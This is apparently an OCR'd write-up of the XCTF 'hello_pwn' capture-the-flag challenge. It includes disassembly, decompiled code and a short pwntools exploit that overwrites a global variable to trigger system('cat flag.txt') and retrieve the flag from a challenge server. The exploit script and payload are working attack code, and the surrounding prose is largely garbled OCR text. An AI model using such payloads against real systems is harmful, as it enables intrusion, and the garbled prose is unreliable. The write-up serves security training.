hello pwn [XCTF-PWN]CTF writeup & 14

F 2019-12-19 204107 KA 396 e
: XCTF-PWN CTF X E#4%: xctfctfpwn
: AR EFEAILE, BHE CC4.0 BY-SA RN, HEBiEMH bR SCH b EEEmA S,
: httpss//blog.csdn.net/fastergohome/article/details/103621958

B XCTF-PWN [Fi 3 2 44210
28 BNE ST
IR T A

@}

46 B30 13T
THRER
BH: hello_pwn

%F/ETEH
hello_pwn - SBEWriteupBI FHATEA © DavidCRiZHH |

wEry: $55G—_
HEFR:

pwn! , segment fault! ZI8F&

FHzs: W 111.198.29.45:57096

MipRZR

fBI3tAT: 03:55:54 | FERY

EEME: e

g, mE—-TRPEL, RWEREF

root@mypwn:/ctf/work/python# checksec c@abdfb32cc7488a939d8c537530174d
[*] '/ctf/work/python/c@a6dfb32cc7488a939d8c537530174d"

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x400000)
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Library function [l Regular function ll Instruction

[#] Functions... O & @

Function name

[F] _init_proc

[F] sub_400510
[7] _puts

[7] _setbuf

[7] _system

[7] _alarm

[7] _read

[F] _libc_start_main
[F] _gmon_start__
[F] start

[F] sub_4005C0
[F] sub_400640
[F] sub_400660
[F] sub_400686

| 7] main

[F] init

7 fin

[F] _term_proc

[7] puts

[7] setbuf

[7] system

[7] alarm

[7] read

[F] _libc_start_main
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Data

IDA - cOa6dfb32cc7488a939d8c537530174d /Users/mac126/pwn/|
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Unexplored

External symbol

x Ig IDA View-A Y=

0000000000400686

0000000000400686 ; ==========

0000000000400686
0000000000400686 ;
0000000000400686
0000000000400686 sub_400686

0000000000400686 ; _ unwind {

0000000000400686
0000000000400687
000000000040068A
000000000040068F
0000000000400694
0000000000400699
000000000040069A
000000000040069A ;
000000000040069A sub_400686
000000000040069A
000000000040069B
000000000040069B ; =
000000000040069B
000000000040069B ;
000000000040069B

Attributes:

proc near

push
mov
mov
call
mov
pop
retn

} // starts at 400686

endp
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No debugger

Structures

Attributes: bp-based frame

rbp
rbp, rsp

; CODE XREF: main+5Cdp

edi, offset command ; "cat flag.txt"

_system
eax, 0
rbp

bp-based frame

000000000040069B ; int _ cdecl main(int, char ##*, char #*¥)

000000000040069B main

000000000040069B ; _ unwind {

000000000040069B
000000000040069C
000000000040069F
00000000004006A4
00000000004006A9
00000000004006B0
00000000004006B5
00000000004006B8
00000000004006BD
00000000004006C2
00000000004006C7
00000000004006CC
00000000004006D1
00000000004006D6
00000000004006DB
00000000004006E0
00000000004006E5
00000000004006EB
00000000004006F0
00000000004006F2
00000000004006F7
00000000004006FC

00000000004006FC loc_4006FC:

00000000004006FC
0000000000400701
0000000000400702
0000000000400702 ;

proc near

push
mov
mov
call
mov
mov
mov
call
mov
call
mov
call
mov
mov
mov
call
mov
cmp
jnz
mov
call

mov

pop
retn

} // starts at 40069B

; DATA XREF:

rbp
rbp, rsp
edi, 3Ch ; seconds
_alarm
rax, cs:stdout
esi, 0 ; buf
rdi, rax ; stream
_setbuf
edi, offset s ; "

uts
edi, offset aLetsGetHellowo ;
_puts
edx, 10h ; nbytes
esi, offset unk_601068 ; buf
edi, 0 ; fd
_read

eax, cs:dword 60106C
eax, 6E756161h

short loc_4006FC
eax, 0

sub_ 400686

start+1pTo

~~ welcome to ctf ~~

"lets get helloworld for bof"

; CODE XREF: main+55T3j

eax, 0
rbp

WM EERRE, RHFHRCIE S D:

__int64 sub_400686()

{

system("cat flag.txt");

return OLL;

__inte4 __fastcall main(__int64 al, char **a2, char

{
alarm(@x3Cu);

setbuf(stdout, OLL);
puts("~~ welcome to ctf ~~

");

puts("lets get helloworld for bof");
read(0, &unk_601068, ©x10uLL);
if ( dword_60106C == 1853186401 )

sub_400686(6LL, &unk_601068);

return OLL;

.text:0000000000400702 main endp
.text:0000000000400702
.text:0000000000400702 ;
.text:0000000000400703 align 10h
-text:0000000000400710
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BT RBATH AT LA & payload

payload = 'A'*4 + p64(1853186401)

B T 14ASTRE Blunk_601068, 6417 %% 1853186401 (& Eldword_60106C, XAk n] LA R %4

if ( dword_60106C == 1853186401 )

B BATHUT DA E A AT i python il 4 «

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./cPabdfb32cc7488a939d8c537530174d")
# p = remote("111.198.29.45", 57096)

payload = 'A'*4 + p64(1853186401)

p.sendlineafter('lets get helloworld for bof', payload)
p.interactive()

PATERWT

root@mypwn:/ctf/work/python# python hello_pwn.py
[+] Starting local process './c@abdfb32cc7488a939d8c537530174d"': pid 118
[*] Switching to interactive mode

cat: flag.txt: No such file or directory
[*] Process './c@ab6dfb32cc7488a939d8c537530174d"' stopped with exit code © (pid 118)
[*] Got EOF while reading in interactive

$

BHFE, PATERIT), #ETRAEpythoniA 5, MRS LMIT:

root@mypwn: /ctf/work/python# python hello_pwn.py
[+] Opening connection to 111.198.29.45 on port 57096: Done
[*] Switching to interactive mode

cyberpeace{c18106c5a9772565799b4626bf170be9}
[*] Got EOF while reading in interactive

$
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